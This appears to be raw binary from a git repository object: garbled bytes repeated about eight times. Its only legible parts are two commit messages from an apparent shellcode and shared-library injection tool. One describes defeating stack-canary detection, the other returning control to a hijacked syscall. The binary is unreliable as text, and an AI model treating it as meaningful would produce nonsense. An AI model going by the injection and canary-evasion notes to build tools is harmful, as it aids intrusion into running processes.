<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>)<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>(<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>'<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>&<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>%<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>$<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09>#<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> z"<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> k!<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> \ <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
